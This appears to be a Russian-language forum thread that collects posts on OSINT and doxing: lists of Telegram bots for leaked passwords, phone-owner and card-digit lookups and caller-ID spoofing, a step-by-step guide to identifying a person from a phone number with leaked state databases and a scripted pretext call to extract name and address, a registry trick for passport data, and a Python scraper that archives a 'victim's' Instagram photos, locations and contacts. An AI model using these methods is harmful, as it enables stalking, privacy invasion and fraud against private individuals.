@username_to_id_bot - история изменения имени аккаунта
@infoleakbot - проверка своего id на утечки
@SangMataInfo_bot — история изменения имени аккаунта
@ShowJsonBot - Бот возвращает json для всех отправляемых сообщений
@maigret_osint_bot– проверка username среди 1366 различных сайтов
@eyeofbeholder_bot— бот подсказывает интересы человека по его аккаунту

Точечный OSINT по группам в Telegram
@telesint_bot — найдет группы в которых состоит пользователь
@creationdatebot — примерная дата создания аккаунта, не работает по ID
@tgscanrobot — найдет группы в которых состоит аккаунт
@list_member_bot — бот для парсинга чатов и не только...
@quant_parserbot — бот для сбора аудитории из чатов

Точечный OSINT по email
(больше инфо смотри в "Автоматизированный OSINT")
@mailsearchbot -поиск пароля по слитым базам
@UniversalSearchBot – поиск аккаунтов, привязанных к почте Yandex
@GetGmail_bot – поиск аккаунтов, привязанных к почте Gmail
@last4mailbot – поиск телефона по email
@mailExistsBot — найдет где привязан email адрес
@shi_ver_bot — показывает утекшие пароли email

Точечный OSINT по пробиву номера
(больше инфо смотри в "Автоматизированный OSINT")
@numberPhoneBot- пробив номера. кто звонил?
@Tpoisk_Bot - пробив номера от компании "Интернет-Розыск"
@clerkinfobot – поиск по номеру телефона и username Telegram.
@BuratinoEyeBot - пробив и бомбер в одном боте
@xinitbot - информация о базовых станциях, IMEI-номерах (не работает)
@get_kontakt_bot — пока не работает, раньше пробивал номер

Точечный OSINT по остальным соц сетям:
@InfoVkUser_bot – анализ друзей профиля ВК
@VKUserInfo_bot – выдает полную инфу о профиле ВК
@InstaBot – скачивает любые медиафайлы из Instagram.
@madeinttbot - скачивает видео с TikTok
@SaveYoutubeBot – скачивает ролики из YouTube
@getfb_bot – поиск страницы в Facebook по номеру телефона.

Полезные боты в Telegram на все случаи жизни:
@egrul_bot- проверка контрагента
@last4mailbot - показывает 4 цифры карты Сбербанка
@DrWebBot- проверяет файлы и ссылки на вирусы
@VirusTotalAV_bot - проверяет файлы и ссылки на вирусы
@ipscorebot - проверит IP
@etlgr_bot - подобие temp email
@SafeCallsBot - звонок с подменой номера
@Maksobot - озвучка синтезатором речи
@ChatSearchRobot – поиск чатов
@RoundDFBot - делает Deepfake video (качество так себе)
@EasyStrongPasswordBot - генератор сложных и запоминающихся паролей
@iptools_robot– умеет искать уязвимости на сайтах, собирать информацию про IP и домены, искать субдомены и многое другое.

Автор не несёт ответственность за оказание или неоказание услуг ботами в Telegram для 3-их лиц. Вся информация о ботах является общедоступной и может использоваться только для ознакомления в образовательных целях.

Ищу сервис или инструмент, который поможет пробить имя человека по украинскому номеру

Очень интересно узнать ваши истории.
Может потом я что-то напишу из своих нахожденей может я расскажу
Как можно достать исходники [TROPHIES]

Spoiler

rusplt.ru

[/TROPHIES] и ещё что-то

Немного вступления:
Все сервисы для пробива есть в открытом доступе.
Но ведь дело не только в сервисах, но и в умение ими пользоваться.
Многие "пробивалы" именно так и находят информацию, зарабатывая на этом. Прежде чем пробивать, подготовьте открытый блокнот, закройте все лишние вкладки браузера, проще говоря, создайте себе комфортное рабочее место.
Для наглядности, использован рандомный номер телефона и вымышленные данные.

Поиск по номеру телефона:
И так, у нас есть одна исходная - номер телефона +79651236584
Номер телефона должен быть только в таком формате, меняя переменны 8 и +7, никаких пробелов, скобочек, дефисов, точек.

Первые сервисы, которые мы будем использовать,
это https://yandex.ru/ и https://www.google.ru/
Да, именно поисковики, они могут дать множество информации:
записи вконтакте, одноклассниках, объявления на барахолках и других ресурсах.

Важные уточнения:
- Использовать нужно именно два поисковика (можно больше),
так как некоторые ссылки всплывают только в одном поисковике.
- В поиск вбивать два формата номера (+79651236584 и 89651236584),
так как поисковики ищут полное соответствие с запросом по номеру, а тот,
кого мы пробиваем, может указать как +7, так и 8

Следом, идем на второй ресурс - http://phonenumber.to/
Хороший сервис, который может выдать адрес и ФИО.
Большинство провайдеров его блочат, так что включайте vpn.
Тут мы так же ищем по номеру с разными префиксами (+7 и 8).

Так же отдельно еще зайдите вконтакте, воспользуйтесь поиском,
телефон вводите с разными префиксами. Обычно находит пару постов
со всяким шлаком, но попадаются и настоящие данные.

Сервис GetContact, сейчас популярен, сервис собирает номера телефонов пользователей и данные их контактов для определения звонков с неизвестных номеров и защиты от спама. Этими функциями почти никто не пользуется: вместо этого пользователи массово скачивают Get Contact, чтобы узнать, как знакомые записывают их в свои телефонные книжки.
Так же хорош для поиска, пробуйте.

Ничего не нашли? Идем дальше.

В своем телефоне в телефонную книжку записываем номер,
допустим, с именем "поиск", тут достаточно записать просто с префиксом +7.
Заходим поочередно в приложения: Viber, WhatsApp, Telegram, Instagram

Viber и WhatsApp - тут можно увидеть фотографию,
которая стоит в профиле, если номер там зарегистрирован. Её мы сохраняем.
Telegram - заходим в контакты в приложение, ищем контакт "поиск", заходим в профиль, копируем Username, который начинается с @, сохраняем его, удаляем контакт с телефона и с самого телеграма, теперь ищем по самому Username, и тут нам уже покажет что у него записано в полях имя и фамилия. Если не удалить контакт, то он будет показывать у вас "поиск".
С телеграма так же можно вытащить фотографию, если она там есть.

Instagram - заходите в ваш профиль-параметры-контакты.
Тут может показать профиль, который зарегистрирован на номер.
В профиле же можно найти ссылку на vk и другие соц.сети, дополнительный
номер, фамилию и имя, ну и конечно же фотографии.

Номер мы везде пробили, данные которые мы могли найти:
фотографии, никнейм, прямые ссылки, ФИО, дополнительные номера и т.д.
Дальше мы будем разбирать поиск по данным, которые получили.

Фотографии:
Тут все просто. Если фото из WhatsApp, Instagam, мы их не сохраним.
Просто делаем скриншот экрана и затем ОБЯЗАТЕЛЬНО обрезаем все лишнее, оставляя только фотографию.

Идем снова на https://yandex.ru/images/ и https://www.google.ru/imghp
и использыем поиск по фотографии. Тут можем найти прямые ссылки на соц.сети и ФИО.
Второй ресурс - https://findface.ru/ Все думаю уже о нем наслышаны, сейчас требует авторизацию и стоит ограничение на поиск. Думаю, прекрасно с этим справитесь, ничего тут сложного нет.
Так же можете найти соц.сети.
Скажу так, поиск по фото имеет минимальный шанс найти
инфу, но все же шанс есть, поэтому всегда использую при поиске.

ФИО:
ФИО так же можно вбить в поисковики(в форматах ФИО и ФИО "город"),
инфа иногда находится. Если человек предприниматель, найдет его организации, затем по организации мы уже ищем дополнительные контакты, такие как: сайт организации, группы в соц.сетях и т.д.

Если phonenumber.to не смог найти по телефону, попробуйте найти по ФИО.

Если имя с фамилией редкие, то помогает простой поиск вконтакте, примерный регион всегда показывает в гугле по номеру телефона. Если слишком много совпадений, но знаете город, идите в группу "Типичный "город"" и попробуйте воспользоваться поиском по участникам. Это помогает, когда вы знаете как примерно выглядит человек, например, если мы вытащили фото с ресурсов выше.
Так же можете воспользоваться сервисом https://yandex.ru/people

Ссылки на соц.сети и другие сайты:
Не редко выпадают ссылки на сайты или соц.сети, но бывают такие ситуации, что страница уже удалена (например, вконтакте) или объявления снято с продажи (на барахолках), тогда мы используем замечательный сервис https://archive.org/

Он вам покажет сохраненные копии страниц по ссылке, которую нашли.
Например, страница вконтакте была удалена 5 дней назад, а в веб-архиве есть
сохраненные копии страницы за прошлый месяц. Так можно делать с любым сайтом.

Никнейм:
Например, мы нашли никнейм в телеграме.
Его так же можно вбить в поисковики, вконтакте,
может где-то оставлял ссылку, поэтому велика вероятность найти.
Но в первую очередь используйте превосходный сервис <http://login.stop- list.info/>
Он генерирует ссылки на все соц.сети с никнеймом, который указали, посылает запрос в каждую соц.сеть и тут же показывает вам результат в виде окна со страницей.
Тут сразу видно, error или есть такая страница.
И чекните снова https://yandex.ru/people

Дополнительно:
В крайних случаях, когда нигде инфы найти не могу,
но пробить нужно обязательно, скачиваю различные базы.
Они не так актуальны, но иногда помогают. Например мне нужно найти
человека с моего города. Я скачиваю базу ФОМС, ГИБДД моего города и т.д.
они в основном в кроносе, поиск удобный. Пусть инфа может быть
не актуальной, но мы уже будем знать старые данные, от которых легче отталкиваться.

В еще более крайних случаях можно использовать СИ.
Придумайте историю, которая требует ФИО назвать, позвоните
по номеру и добудьте эти данные любой ценой.
Например:
"Доброго времени суток. Портал "Наебка.да"
проводил рандомный розыгрыш по номерам, Вы оказались в числе победителей.
Не спешите бросать трубку, платить ни за что не нужно, доставка абсолютно бесплатна,
от вас требуется всего лишь ФИО и адрес. А выиграли вы "говно в коробке"
Давайте я запишу данные и отправлю вам подарок"
Таким методом я пользовался в личных целях, он действует, и это главное.

Заключение:
На мой взгляд, я собрал самые актуальные сервисы, которые действительно
помогают найти информацию. Другими сервисами пользовался, от них выхлоп почти нулевой.
Если человек активен в интернете, можно собрать неплохое "досье".

При работе используйте блокнот, записывайте
всю информацию, любую мелочь, которую найдете, это очень сильно помогает.

А так же узнаем ФИО и паспортные данные по номеру автомобиля если он взят в кредит.
Без регистрации и СМС.
HOW-to:

1. Заходим на сайт Федеральной нотариальной палаты (www.reestr-zalogov.ru/search/index)

Spoiler: Скрин

2. Указываем фамилию и имя, нажимаем «Найти»
3. И все…

Если у физ. лица есть кредит с залогом, то сайт выдает документ «Уведомление о возникновении залога», содержащее помимо прочего ФИО, дату рождения, паспортные данные залогодателя.

Spoiler: Скрин

В случае с поиском информации о владельце по номеру автомобиля алгоритм не сильно сложнее:

1. Ищем в интернете VIN номер по гос номеру (подобных сервисов в сети множество).
2. На сайте Федеральной нотариальной палаты переходим в раздел «Транспортное средство» и указываем VIN

Spoiler: Скрин

В случае, если авто залоговое, мы получим избыточную информацию о владельце, а так же дату окончания кредита.

habr.com/

Тема для кейсов, инструментов по различным блокчейнам. В основном Bitcoin.

<https://medium.com/@gags.gk/investigating-fraudulent-bitcoin-transactions- using-osint-90d861dc9e17> - Investigating Fraudulent Bitcoin Transactions using OSINT
[http://www.automatingosint.com/blog...oin-with-python-blockexplorer-and- webhose-io/](http://www.automatingosint.com/blog/2017/09/follow-the-bitcoin- with-python-blockexplorer-and-webhose-io/) - Follow the Bitcoin With Python, BlockExplorer and Webhose.io
[https://www.bellingcat.com/resource...ns-with-blockchain-a-guide-featuring- mueller/](https://www.bellingcat.com/resources/how-tos/2019/02/01/tracking- illicit-transactions-with-blockchain-a-guide-featuring-mueller/) - Как отследить противозаконные сделки при помощи блокчейна на примере обвинительного заключения Мюллера (Bellingcat).
[https://medium.com/@benjamindbrown/...mers-finances-through- blockchain-e9c52fb6127d](https://medium.com/@benjamindbrown/tracing-syrian- cell-kidnappers-scammers-finances-through-blockchain-e9c52fb6127d) - **Tracing a Jihadi cell, kidnappers and a scammer using the blockchain — an open source investigation

Блог WizSec, занимаются делом Mt.Gox: https://blog.wizsec.jp/

**

Получив в свое распоряжение громадное количество информации в виде глобальной сети, многие люди так и не научились извлекать из интернета нужные им данные. В руках у каждого подростка мощный смартфон, и казалось бы — набери правильный запрос в Google — и ты научишься всему, чему захочешь, узнаешь всё, что захочешь знать. Но в большинстве случаев весь поисковый навык у обывателя ограничвается фразами «смотреть порнуху» и «скачать танки».

Положение дел может поправить популяризация среди молодежи такого направления деятельности как OSINT. Данный термин означает поиск требуемой информации по открытым источникам, и чем то перекликается с хакингом, однако всё остается в рамках закона, и не требует технических скиллов. Тем не менее, OSINT может принести массу пользы, если его использовать правильно.

Далее я приведу список некоторых полезных онлайн сервисов для OSINT:
————————
Поиск людей в социальных сетях:
http://people.yandex.ru
https://vk.com/people
https://www.facebook.com/friends/requests/
https://twitter.com/search-advanced
http://pipl.com
https://www.spokeo.com/
Просмотр скрытых друзей VK и общих друзей между двумя профилями
https://220vk.com/
Поиск инфы о записях ВК по ID пользователя (заменить в адресе ID на номер ID юзера)
https://vk.com/feed?obj=ID&q=&section=mentions
————————
Поиск где еще встречается фото (полезно при поиске других социальных аккаунтов объекта, либо первоисточника фотографии)
https://images.google.com/
https://yandex.ru/images/
https://www.tineye.com/
————————
Извлечение EXIF информации из фотографии (может содержать географические координаты места съемки):
http://metapicz.com/#landing
http://linkstore.ru/exif/
http://exif.regex.info/exif.cgi
http://imgops.com/
————————
Поиск информации по сотовому телефону
Прежде всего установите на левый телефон с пустой контактной книгой, приложения GetContact и Numbuster
https://play.google.com/store/apps/details?id=app.source.getcontact&hl=ru
https://play.google.com/store/apps/details?id=com.numbuster.android&hl=ru
Они позволят определить как данный номер записан в чужих телефонных книгах.
Также установите на телефон приложения Viber, Telegram, VK, и WhatsApp. Внесите искомый номер в контакты на телефоне, и импортируете контакты в уствновленные приложения. Это позволит найти аккаунты человека, если его сотовый использовался там для регистрации.
————————
Поиск по домашнему телефону, ФИО и городу или адресу проживания
http://nomerorg.me
http://spra.vkaru.net
————————
Всё о владельце машины по госномеру, телефону или vin.
https://avinfo.co/
https://гибдд.рф/check/auto
————————
Информация об ИП и организациях в том числе по ФИО предпринимателя
https://egrul.nalog.ru/index.html
————————
Получить выписку из ЕГРН об основных характеристиках и зарегистрированных правах на объект недвижимости
https://rosreestr.ru/wps/portal/p/cc_present/EGRN_1
————————
Узнать город по IP
https://www.maxmind.com/ru/geoip-demo
————————
Естественно, это далеко не все сайты, помогающие найти ту или иную информацию. Осинтеры составляют целые подборки таких сервисов, они часто меняются, и пополняются новыми инструментами.
https://github.com/jivoi/awesome-osint
https://osintframework.com
https://github.com/netstalking-core/netstalking-osint
https://github.com/automatingosint/osint_public
https://github.com/jmortega/osint_tools_security_auditing
————————
Помимо онлайн-сервисов существуют программы для компьютеров и смартфонов, упрощающие процесс поисков нужной вам информации.
https://github.com/DataSploit/datasploit
https://www.spiderfoot.net/download/
https://github.com/intrigueio/intrigue-core
https://www.spiderfoot.net/download/
https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php
https://gitlab.com/kennbroorg/iKy/blob/master/README.en.md
https://github.com/xillwillx/skiptracer
https://github.com/altjx/ipwn/tree/master/pyfoca
https://github.com/Te-k/harpoon
https://github.com/jofpin/trape
http://www.geocreepy.com

Всем привет! Может кто подскажет а может даже поделится так сказать "дорожной картой" инфо атаки на персону, компанию. Или противодействию подобных атак.

Буду признателен за любую информацию.

Предлагаю скидывать инструменты, методы, тактики.
Хотя, в последнее время я не занимаюсь этим, но как говорят, талант не пропьёшь)
История

https://viewdns.info

Click to expand...

https://web.archive.org/

Click to expand...

Замена шодану

https://censys.io/

Click to expand...

https://www.zoomeye.org/

Click to expand...

Поиск людишек по соц сетям итд

https://namechk.com/

Click to expand...

И ещё совсем недавно узнал о таком, я его не тестил

https://checkusernames.com/

Click to expand...

.
Это всё чем я пользуюсь , ещё гугл и бинг

Хороший ресурс иметь под руку как OSINT аналист

https:__//osintframework.com/

Кому интересно как обнаруживают БД в свободном доступе. Начало с 7й минуты.

План статьи

1. Введение
2. Термины, которые будут использоваться в статье
3. Подготовительная часть
4. Создания скрипта без API 1. Декомпиляция сетевого трафика 2. Создание схемы скрипта и его реализация 3. Тестирование и объяснение отдельных функций
5. Создание скрипта с использованием API 1. Ознакомление с API и библиотек для него 2. Создание схемы и реализация скрипта 3. Тестирование и объяснение отдельных функций
6. Заключение

Введение
Еще с 1941 года Американское правительство обширно использовало OSINT. Уже в 1947 году Шерман Кент, аналитик ЦРУ, сообщил, что около 80% информации, которая используется политиками для принятия решений, берется из открытых источников. ([источник](https://www.researchgate.net/publication/326652444_A_Real- Time_Social_Media_Monitoring_System_as_an_Open_Source_Intelligence_Osint_Platform_for_Early_Warning_in_Crisis_Situations), с. 428, конец 2 параграфа)

Поэтому, в наше время, грамотный подход к OSINT’у позволит раздобыть ценную информацию из открытых данных, особенно это актуально в эру масштабного использование соцсетей. Как правило, современные аккаунты соцсетей имеют большое количество различных данных, на анализ которых требуется большая часть времени.

Чтобы оптимизировать поиск данных и увеличить скорость их нахождения, в данной статье я детально расскажу, как можно написать свой собственный скрипт для анализа данных аккаунтов различных соцсетей.

Реализовать скрипт можно двумя способами: используя API (более простой и удобный путь) и написание без API, используя только запросы (долгий и трудоемкий процесс).

Каждый перечисленный способ имеет свои недостатки и преимущества, но обо всем по порядку.

Термины
В этом пункте вы можете ознакомиться со всеми непонятными терминами, которые используются в статье.

• API (a pplication** p** rogramming** i** nterface) – это набор различных функции, протоколов, определители подпрограмм, для создания приложений. Крайне удобный и незаменимый инструмент при работе с различными онлайн-сервисами и софтами.
• URL encoding - кодирует ссылку при передачи данных по протоколу HTTP. Закодированная ссылка выглядит так: «google.com%2F%3F%7B%221%22%3A%5B%221%22%2C2%5D%7D», декодированная так: «google.com/?{"1":["1",2]}»
• JSON Fromater (JSON Beautifier) – программа, которая преобразует однострочный код, в удобный и читаемый вид.

Подготовительная часть
Для написания скриптов я буду использовать Python, так как он удобен при работе с запросами, обработке ответов от серверов, и быстро справляется с массивами данных. Если конкретнее, то я буду использовать Python версии 3.7.3.

**Создания скрипта без API

Декомпиляция сетевого трафика**

Скрипт мы будем писать под Web версию Инстаграма, и наш скрипт не будет требовать ни единой информации от юзера, кроме нужного никнейма для скана.

Начать стоит с того, что, не имея под руками ключей для использования API, выкручиваться нужно только декомпиляцией трафика. Проанализировав GET запросы, я заметил, что для подзагрузки фотографий, запрос отправляется на https://www.instagram.com/graphql/query/:

Рисунок 1: разбор GET запроса

Перейдя по ссылке, я понял, что при валидном запросе, сервер выдаст ответ в формате json:

Рисунок 2: сервер ответил на запрос “Instagram.com/graphql/query ” ошибкой

Использовав один из ранних GET запросов:

Code:Copy to clipboard

https://www.instagram.com/graphql/query/?query_hash=f2405b236d85e8296cf30347c9f08c2a&variables=%7B%22id%22%3A%2224025320%22%2C%22first%22%3A12%2C%22after%22%3A%22QVFBakZHYzBMN1pNeld5SWhJTUpNbkZzSGhoVWdUMk5WYjBQV0E1WmFyNmNqTDM2bmlmS3lhdWNzN21mOVJVR3RnUDQzRGxOVG83VHRPakpvSm5WbUhMYw%3D%3D%22%7D

я получил такой ответ:

Рисунок 3: ответ сервера на GET запрос о подзагрузке доп. фото

Где под номером подразумевается node, дерево, которое вмещает в себе всю информацию о посте (будто видео или фото).

Прогнав 2 подобных запроса через URL Decoder, я получил следующее:

Code:Copy to clipboard

https://www.instagram.com/graphql/query/?query_hash=f2405b236d85e8296cf30347c9f08c2a&variables={"id":"24025320","first":12,"after":"QVFBakZHYzBMN1pNeld5SWhJTUpNbkZzSGhoVWdUMk5WYjBQV0E1WmFyNmNqTDM2bmlmS3lhdWNzN21mOVJVR3RnUDQzRGxOVG83VHRPakpvSm5WbUhMYw=="}

https://www.instagram.com/graphql/query/?query_hash=f2405b236d85e8296cf30347c9f08c2a&variables={"id":"24025320","first":12,"after":"QVFEV2NTam5oekdON2hjRlluLXZHLXhORnpRczdNQmV5LTB4ZTFjM2E4NnZIM25QRHdQOGg2Q2Zrc1BtOXp3VjVxdHNMR2FoWGVMemJMS2VlWHlJX0dLcA=="}

Из этого стало понятно, что параметр id - вероятнее всего обозначает id страницы, для которой нужна подзагрузка. Параметр first – обозначает количество до загружаемых фото, но максимальное количество фотографий, которое можно дозагрузить – 50 штук.

В параметре after передается строка, которая существует при условии True у параметра has_next_page:

_Рисунок 4: если “has_next_page”:False, то значения end_cursor нету

Рисунок 5: если “has_next_page”rue, то значения end_cursor есть_

Но остается вопрос: “Где берется самый первый параметр after?”

Покопавшись в .html странице Инстаграма, я заметил, что в строках 277 и 274 данные записаны в похожем стиле json:

Рисунок 6[/I]

Скопировав строки и прогнав их через JSON Formater, я получил с одной строки ~2400 строк, а с другой ~250, и не содержит в себе полезной информации.

Информация об аккаунте содержится в подкаталоге graphql:

Рисунок 7: сопоставление данных со строки 274 с данными на странице.

Мне показалось странным называть так подкаталог, и поэтому я решил обратиться к поисковикам.

Самой первой страницей, которую выдал Google, был вопрос на [satckoverflow.com](https://stackoverflow.com/questions/45787021/how-to-use- instagram-graphql). Из ответа я узнал, чтобы получить JSON ответ о любой странице, нужно в конце добавить значение ?__a=1. И это сработало!

Вместо того, чтобы копаться в одной строке в структуре страницы, мы можем просто получить json ответ о любой странице:

Code:Copy to clipboard

Instagram.com/instagram/?__a=1

Рисунок 8: Сравнение ответа сервера, и строки 274

Перейдем теперь к параметру query_hash. Так как f2405b236d85e8296cf30347c9f08c2a сервер принимает, и не выдает ошибок, использовать во всех дозагрузках будем именно его.

Я все же решил разобраться, откуда он берется для GET запросов дозагрузки.

Генератор query_hash лежит в файле ProfilePageContainer.js/ . Но для каждой страницы в Инастаграме существует свой файл:

Рисунок 9

В самом файле хеш лежит в параметре queryId, но, как правило, в этом файле как минимум 4 таких параметров с разными хешами:

Рисунок 10: 4 разных queryId в .js файле

Но, именно после profilePosts.byUserId.get идет нужный queryId:

Рисунок 11

И так, имея всю нужную информацию под рукой, можно перейти к следующему пункту.

Создание приблизительной схемы будущего скрипта

Рисунок 12: приблизительная блок-схема

Реализация скрипта
Для создания скрипта, который будет выполнять действия на схеме, потребуется 5 библиотек:

• Requests – создание GET запросов и загрузки фотографий
• Argparse – парсинг входящих команд при старте скрипта
• Json – создание словарей из ответов сервера
• Time – заморозка скрипта при превышении лимита запросов
• Os – создание папок

Тестирование и объяснение отдельных функции
Первая функция parser() принимает введенный никнейм, и отправляет его в фукнцию main()

Python:Copy to clipboard

def parser():
    parser = argparse.ArgumentParser(prog='OSINT Inst')

    parser.add_argument("-n", "--nickname", help="Nickname?", dest="nickname")

    args = vars(parser.parse_args())
    main(args["nickname"])

В функции main() запрашивается страница с указанным никнеймом, и парсится ответ, который пришел в json формате. Если страница существует, создается папка Instagram, где будит хранится вся информация об указанном аккаунте. Парсится так же и отдельная часть, которая в дальнейшем отправляется в функцию parse_page()

Python:Copy to clipboard

def main(nickname):
    url = "https://www.instagram.com/"+nickname
    response = requests.get(url + "?__a=1")

    if "Page Not Found" in response.text:
        print("Page Not Found")
        exit()

    todos = json.loads(response.text)
    os.mkdir("Instagram")
    parse_page(todos)
    photoes(todos["graphql"]["user"])

В функции parse_page() принимается словарь из различных значений, и создаются переменные для дальнейшей их записи в файл “info.txt” который, как уже было написано раньше, сохраняется в папке Instagram.

Python:Copy to clipboard

def parse_page(todos):
    print("Getting info about profile...")
    follow_inst = str(todos["graphql"]["user"]["edge_follow"]["count"])
    followed_by_inst = str(todos["graphql"]["user"]["edge_followed_by"]["count"])
    content_inst = str(todos["graphql"]["user"]["edge_owner_to_timeline_media"]["count"])
    biography = todos["graphql"]["user"]["biography"]
    name = todos["graphql"]["user"]["full_name"]
    username = todos["graphql"]["user"]["username"]
    verified = str(todos["graphql"]["user"]["is_verified"])
    fb = str(todos["graphql"]["user"]["connected_fb_page"])
    business = str(todos["graphql"]["user"]["is_business_account"])

    try:
        link = "\nLink: "+ todos["graphql"]["user"]["external_link"]
    except:
        link = ''


    file = open("Instagram/info.txt", "w", encoding="utf-8")
    info = "Name: "+name+"\nUsername: "+username+"\nBiography: "+biography+"\n\nVerified: "+verified+"\nFollow: "+follow_inst+"\nFollowed: "+\
           followed_by_inst+"\nNumber of posts: "+content_inst+link+"\nBusiness account: "+business+\
           '\nConnected to facebook: '+fb

    file.write(info)
    file.close()

Как только благополучно заканчивается функция parse_page(), в функция main() запускает следующею, а именно photoes(). Данная функция вмещает себе функции, которые отвечают за сбор информации о каждой фотографии в аккаунте, и их загрузке. Подробнее об этом в следующей части.

ФОТО
Стоит начать с того, что при загрузке страницы в Инстаграме, загружаются уже 12 фотографий, и это можно заметить в ответе на запрос Instagram.com/{nickname}/?__a=1, а именно в подзаголовке edges:

Рисунок 13: уже загруженные 12 фотографий

Так же в подзаголовке page_info есть нужный нам параметр end_cursor.

Поэтому, переменная media вмещает в себе загруженные посты, checker содержит в себе параметр has_next_page а idprofile_inst – Id аккаунта в Инстаграме.

Получив данные, функция photoes(), обратывает их, и дальше вызывает функцию Get_req_photo()

Python:Copy to clipboard

def photoes(json_media):
    media = json_media["edge_owner_to_timeline_media"]["edges"]
    checker = json_media["edge_owner_to_timeline_media"]["page_info"]["has_next_page"]
    idprofile_inst = json_media["id"]

    get_req_photo('', media, checker, json_media, idprofile_inst)

Функция get_req_photo() создает запросы о дозагрузке фотографии, если has_next_page имеет значeние True, то есть существует еще страница с фотографиями и её нужно дозагрузить.

Вначале своей работы, переменная media сразу же добавляется в переменную media_to_parse. Эта переменная в конце работы скрипта будет содержать все посты, которые потом будут обрабатываться.

Python:Copy to clipboard

def get_req_photo(media_to_parse, media, checker, json_media, idprofile_inst):
    media_to_parse += str(media)

    if checker:
        end_cursor = json_media["edge_owner_to_timeline_media"]["page_info"]["end_cursor"]

        data_for_get_req = 'https://www.instagram.com/graphql/query/?query_hash=f2405b236d85e8296cf30347c9f08c2a' \
                           '&variables=%7B%22id%22%3A%22' + idprofile_inst + \
                           '%22%2C%22first%22%3A50%2C%22after%22%3A%22' + end_cursor.split("==")[0] + '%3D%3D%22%7D'

        gett = requests.get(data_for_get_req)
        json_media = json.loads(gett.text)
        checker = json_media["data"]["user"]["edge_owner_to_timeline_media"]["page_info"]["has_next_page"]
        media = json_media["data"]["user"]["edge_owner_to_timeline_media"]["edges"]

        get_req_photo(media_to_parse, media, checker, json_media["data"]["user"], idprofile_inst)
    else:
        print("Got ", len(str(media_to_parse).split("'shortcode': '")), " post(s)")
        for i in range(1, len(str(media_to_parse).split("'shortcode': '"))):
            link_to_page = str(media_to_parse).split("'shortcode': '")[i].split("',")[0]
            req = requests.get("https://instagram.com/p/" + link_to_page + "/?__a=1")
            json_page = json.loads(req.text)
            parse_media(json_page["graphql"]["shortcode_media"], i)
        print("Done")

И так, если параметр has_next_page имеет значение True, то скрипт будет создавать запросы и добавлять посты до тех пор, пока параметр has_next_page не будет иметь значения False, то есть больше постов нет. После парсинга ответа от сервера, создаются более свежие переменные, которые имеют новую информацию. Дальше они передаются опять этой же функции, далее по кругу. Такие функции называются рекурсивными. Несмотря на то, что многие профессионалы рекомендуют их не использовать, в этом варианте, ошибки никакой не будет, ведь вызов той самой функции, является её последним этапом, и из-за этого не правильной работы в скрипте можно избежать.

После того, как все посты были загружены, создается цикл, который будет поочерёдно отправлять каждый пост в функцию parse_media()

В Инстаграме существует 3 вида постов: фотография, видео, коллекция. Из-за этого в функции parse_media() существует отдельно загрузка для каждого вида постов. Я решил загружать только фотографии, из-за того, что видео будут существенно тормозить работу скрипта. Было решено создавать файл с названием “video.txt”, где будет указываться ссылка на пост с видео.

Так же, скрипт загружает фотографии самого высокого качества. Ссылки на фотографии лежат в параметре display_resources

Рисунок 14: подкаталог с ссылками на фото различного качества

Функция создает глобальную папку Instagram, . Из информации, берется: количество лайков, текст поста, локация, отмеченные профили (теги), комментарии и ссылка на пост; для видео: количество просмотров; для фотографии: captions.

Captions – это догадка искусственного интеллекта, что может содержать фотография. К примеру:

Рисунок 15: фото, и описание, созданное ИИ

Так же, в корневую папку, будут сохраняться еще отдельные файлы:

• All_comments.txt – все комментарии со всех постов
• All_tagged.txt – все «затеганные» аккаунты в постах жертвы
• All_locations.txt – все локации, которые помечены в постах жертвы

Python:Copy to clipboard

def parse_media(json_page, m):
    view_count = ''
    os.mkdir("Instagram/post " + str(m))
    captions = '\nCaption(s): '
    print("Downloading post " + str(m))

    if json_page["__typename"] == "GraphVideo":
        view_count = str("\nView count = " + str(json_page["video_view_count"]))
        out = open("Instagram/post " + str(m) + "/video.txt", "w")
        out.write(str("https://instagram.com/p/"+json_page["shortcode"]))
        out.close()

    if json_page["__typename"] == "GraphImage":
        photo = str(json_page["display_resources"][-1]["src"])
        p = requests.get(photo)
        out = open("Instagram/post " + str(m) + "/img" + str(m) + ".jpg", "wb")
        out.write(p.content)
        out.close()
        captions = "\n"+json_page["accessibility_caption"]

    if json_page["__typename"] == "GraphSidecar":
        for i in range(len(json_page["edge_sidecar_to_children"]["edges"])):
            photoes = json_page["edge_sidecar_to_children"]["edges"][i]["node"]["display_resources"][-1]["src"]
            p = requests.get(photoes)
            out = open("Instagram/post "+str(m)+"/img"+str(i)+".jpg", "wb")
            out.write(p.content)
            out.close()
            try:
                captions += "\nphoto №"+str(i)+"-"+ str(json_page["edge_sidecar_to_children"]["edges"][i]
                                                  ["node"]["accessibility_caption"])+"\n"
            except:
                view_count = str("\nView count = " + str(json_page["edge_sidecar_to_children"]["edges"][i]
                                                  ["node"]["video_view_count"]))
                out = open("Instagram/post " + str(m) + "/video.txt", "w")
                out.write(str("https://instagram.com/p/" + json_page["shortcode"]))
                out.close()

    likes = "\nlikes: " + str(json_page["edge_media_preview_like"]["count"])+"\n"
    link = "Link - "+"instagram.com/p/"+json_page["shortcode"]+"\n"
    location = json_page["location"]

    if location is not None:
        with open("Instagram/all_locations.txt", "a", encoding="utf-8") as file:
            file.write("post "+str(m)+"\n"+str(location)+"\n")
    else:
        location = ''
        pass


    if json_page["edge_media_to_tagged_user"]["edges"] == []:
        tagged_user = ''
    else:
        tagged = str(json_page["edge_media_to_tagged_user"]).split("node")
        tagged_user = '\nTagged user(s): '
        for i in range(1, len(tagged)):
             tagged_user += "@"+str(json_page["edge_media_to_tagged_user"]).split("username': '")[i].split("'}")[0]+\
                    " ("+str(json_page["edge_media_to_tagged_user"]).split("full_name': '")[i].split("', ")[0]+")\n"
        with open("Instagram/all_tagged.txt", "a", encoding="utf-8") as file:
            file.write(str("post " + str(m) + ":" + tagged_user + "\n"))


    file = open("Instagram/post "+str(m)+"/info.txt", "w", encoding="utf-8")

    try:
        text = "text: '"+str(json_page["edge_media_to_caption"]["edges"][0]["node"]["text"])+"'\n"
    except:
        text = "text: None\n"

    all_information = str(text+likes+tagged_user+"\nLocation: "+str(location)+captions+view_count+"\n"+link)
    file.write(all_information)
    file.close()

    try:
        checker_for_comment = json_page["edge_media_to_parent_comment"]["count"]
    except:
        checker_for_comment = json_page["edge_media_to_comment"]["count"]

    if checker_for_comment != 0:
        comm(json_page, m)
    else:
        pass

Комментарии
Парсинг комментариев происходит подобным образом.

При загрузке фотографии по ссылке Instagram.com/p/xxxxxxxxxxx, загружаются так же и часть комментариев (как это было с профилем и постами):

Рисунок 16: загруженные комментарии фотографии

